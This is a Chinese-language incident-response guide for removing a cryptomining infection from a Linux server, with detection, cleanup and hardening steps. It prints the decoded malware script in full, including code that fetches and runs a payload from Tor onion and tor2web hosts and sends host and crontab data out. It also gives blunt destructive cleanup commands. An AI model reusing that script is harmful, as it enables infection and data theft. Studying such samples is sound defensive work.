病毒特征与检测
异常进程 :未知的长命令字符串占用全部CPU资源
负载表现 :8核机器平均负载达20(超过安全阈值2.5倍)
攻击方式 :加密脚本+定时任务+隐藏进程
病毒路径 :/home/ubuntu 和临时文件系统
清理步骤 1. 检测与分析 1 2 3 4 5 # 查看CPU占用情况 top -d 1 # 确认异常进程用户 ps aux | grep "异常命令字符串"
2. 隔离攻击源 1 2 3 4 5 6 7 8 # 切换到攻击用户 su ubuntu # 查看定时任务 crontab -l # 输出示例 */3 * * * * /home/ubuntu/.config/systemd/.systemd-service.sh
3. 恶意脚本分析 1 JMU8YMVxV5dkRFarPxpICIQYk4QUxP
解密后脚本内容 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 exec &>/dev/null export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "wdtiia7l7nhvj4dlwt64coa6y2ujyiv3w7g2pmsf5oidnfgkczeumead") sockz() { n=(dns.twnic.tw doh-ch.blahdns.com doh-de.blahdns.com doh-fi.blahdns.com doh-jp.blahdns.com doh.li doh.pub doh-sg.blahdns.com fi.doh.dns.snopyta.org hydra.plan9-ns1.com) p=$(echo "dns-query?name=relay.tor2socks.in") q=${n[$((RANDOM%${#n[@]}))]} s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)} fexe() { for i in . $HOME /usr/bin $d /var/tmp;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done} u() { sockzf=/int.$(uname -m)x=./$(date|md5sum|cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x} for h in tor2web.in tor2web.it do if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done
4. 清除病毒进程 1 2 3 4 5 # 获取所有ubuntu进程ID并结束 ps -ef | grep ubuntu | awk '{print $2}' | xargs kill -9 # 确认进程清除 ps -ef | grep ubuntu
5. 文件系统清理 1 2 3 4 5 6 7 # 删除用户目录 rm -rf /home/ubuntu ls -l /home # 确认删除成功 # 清理临时目录 cd /var/tmp && rm -rf systemd-private-* cd /tmp && rm -rf systemd-private-* && rm -rf .pg_runn
6. 清除定时任务 1 2 3 4 5 6 7 8 # 进入ubuntu用户环境 su ubuntu # 清除所有定时任务 crontab -r # 退出返回root exit
7. 删除攻击账户 1 2 3 4 5 # 永久删除账户 userdel ubuntu # 验证用户删除 grep ubuntu /etc/passwd
关键操作说明 恶意脚本技术解析
组件
功能
防御手段
TOR网络通信
通过.onion域名隐藏C2服务器
阻断TOR节点流量
DNS隧道
使用DOH协议绕过传统DNS监控
部署加密DNS检测
文件自销毁
执行后立即删除二进制文件
内存行为监控
进程隐藏
使用/dev/shm和/X11-unix隐藏
检测非常规路径进程
多重传播
通过临时目录横向移动
限制/tmp和/var/tmp执行权限
验证清理效果 1 2 3 4 5 6 7 8 # 监控系统负载变化 watch -n 1 "uptime; top -b -n1 | head -20" # 检查异常网络连接 nethogs -t # 扫描剩余恶意文件 clamscan -ir --exclude-dir="^/sys|^/proc" /
系统加固建议 1 2 3 4 5 6 7 8 9 10 # 禁用非必要定时任务 systemctl mask cron.service --now # 限制用户权限 usermod -s /sbin/nologin ubuntu # 设置文件监控 auditctl -w /home/ -p war -k user_home auditctl -w /tmp/ -p war -k tmp_dir auditctl -w /var/tmp/ -p war -k var_tmp
补救措施流程图 1 2 3 4 5 6 7 8 9 10 11 graph TD A[发现高负载] --> B[识别异常进程] B --> C{是否为恶意进程?} C -->|是| D[终止相关进程] C -->|否| E[继续监控] D --> F[清除定时任务] F --> G[删除用户文件] G --> H[清理临时目录] H --> I[删除用户账户] I --> J[系统安全加固] J --> K[完成清理]
通过以上步骤可彻底清除该加密货币挖矿病毒,建议后续配置入侵检测系统(如Wazuh)和定期漏洞扫描预防再次感染。